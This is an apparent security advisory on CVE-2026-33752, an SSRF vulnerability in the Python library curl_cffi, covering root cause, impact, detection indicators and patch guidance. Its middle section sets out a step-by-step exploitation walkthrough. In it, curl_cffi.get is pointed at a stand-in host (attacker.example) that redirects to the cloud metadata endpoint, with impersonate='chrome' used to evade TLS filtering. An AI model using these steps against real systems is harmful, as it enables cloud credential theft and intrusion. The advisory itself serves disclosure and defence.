CVE-2026-33752: 
Python vulnerability analysis and mitigation

CVE-2026-33752 is a Server-Side Request Forgery (SSRF) vulnerability in the Python library curl_cffi that allows unauthenticated attackers to redirect requests to internal network services, including cloud metadata endpoints. The vulnerability affects all versions of curl_cffi prior to 0.15.0, including beta releases up to 0.15.0-beta4. It was published on April 3, 2026, by the maintainer (lexiforest) and reviewed the same day in the GitHub Advisory Database. It carries a CVSS v3.1 base score of 8.6 (High) (GitHub Advisory, curl_cffi Advisory).

The root cause (CWE-918) lies in how curl_cffi passes user-supplied URLs directly to the underlying libcurl without validating whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). libcurl is configured with CURLOPT_FOLLOWLOCATION = 1, meaning redirects are followed automatically with no validation of redirect destinations at the Python layer. An attacker who controls the URL passed to curl_cffi.get() can point it to an attacker-controlled server that returns a 302 redirect to an internal service (e.g., http://169.254.169.254/latest/meta-data/), which libcurl then fetches transparently. Compounding the issue, curl_cffi's TLS fingerprint impersonation feature (e.g., impersonate="chrome") can make these requests appear as legitimate browser traffic, potentially bypassing TLS-based network filtering controls (GitHub Advisory, curl_cffi Advisory).

Successful exploitation allows an unauthenticated attacker to access internal network services and cloud instance metadata APIs (such as AWS IMDSv1 at 169.254.169.254), potentially retrieving sensitive credentials, IAM role tokens, and configuration data. The scope is marked as "Changed" in CVSS, reflecting that the impact extends beyond the vulnerable component to internal infrastructure. There is no integrity or availability impact, but the confidentiality impact is rated High due to the potential for full disclosure of cloud credentials and internal service data, which could enable lateral movement or privilege escalation within a cloud environment (GitHub Advisory, curl_cffi Advisory).

Multiple proof-of-concept (PoC) exploits are publicly available, including a dedicated GitHub repository (redyank/CVE-2026-33752) with step-by-step reproduction instructions and Python exploit code (PoC Repo). The vulnerability requires no authentication, no privileges, and no user interaction, making it trivially exploitable wherever user-controlled URLs are passed to curl_cffi. The EPSS score is approximately 0.021% (6th percentile), and as of the time of reporting, there is no evidence of active in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory, curl_cffi Advisory).

1. Reconnaissance: Identify applications that use curl_cffi (versions < 0.15.0) and accept user-controlled URLs as input to functions like curl_cffi.get() or curl_cffi.requests.get().
2. Set up attacker-controlled server: Configure a web server to respond to a specific path (e.g., GET /test) with an HTTP 302 redirect response pointing to an internal target, such as Location: http://169.254.169.254/latest/meta-data/.
3. Trigger the SSRF: Supply the attacker-controlled URL (e.g., https://attacker.example/test) as the URL parameter to the vulnerable application, causing it to call curl_cffi.get("https://attacker.example/test").
4. Redirect followed automatically: libcurl, configured with CURLOPT_FOLLOWLOCATION = 1, automatically follows the 302 redirect to the internal metadata endpoint without any Python-layer validation.
5. (Optional) Bypass TLS filtering: If the environment uses TLS fingerprinting to filter outbound traffic, add impersonate="chrome" to the request to make it appear as legitimate browser traffic: curl_cffi.get("https://attacker.example/test", impersonate="chrome").
6. Exfiltrate data: The response from the internal endpoint (e.g., cloud IAM credentials, instance metadata) is returned to the attacker, enabling further lateral movement or privilege escalation (curl_cffi Advisory, PoC Repo).

• Network: Outbound HTTP/HTTPS requests from application servers to 169.254.169.254 (AWS IMDSv1) or other link-local/internal IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16); HTTP redirect chains where an initial request to an external host is followed by a request to an internal IP.
• Logs: Application or proxy logs showing requests to 169.254.169.254/latest/meta-data/ or similar cloud metadata paths originating from the application process; access logs on attacker-controlled servers showing GET /test requests from victim application IPs followed by redirect responses.
• Process/Application: Unexpected responses containing cloud metadata fields (e.g., ami-id, instance-id, iam/security-credentials/) in application output or error logs; use of curl_cffi with impersonate parameter in combination with external URLs in application code.

The vendor has released a patch in curl_cffi version 0.15.0 (stable), which is the recommended fix — upgrade immediately using pip install --upgrade curl_cffi (GitHub Advisory). If immediate patching is not possible, implement network-level egress controls to block outbound requests to internal IP ranges (127.0.0.0/8, 169.254.0.0/16, 10.0.0.0/8, etc.) and cloud metadata endpoints. Additionally, review all application code that passes user-controlled URLs to curl_cffi and add explicit allowlist validation of URL destinations before processing; consider disabling automatic redirect following if application logic permits (curl_cffi Advisory).

The Hacker Wire published a technical write-up on the vulnerability shortly after disclosure, covering the SSRF-via-redirect mechanism and TLS impersonation bypass angle (The Hacker Wire). The CISA vulnerability bulletin for the week of April 6, 2026 included CVE-2026-33752 in its summary (CISA Bulletin). Community reaction has been moderate, with the vulnerability noted as a design-level oversight similar to previously reported redirect-based SSRF issues (e.g., CVE-2025-68616), and the availability of a PoC has drawn attention from security researchers.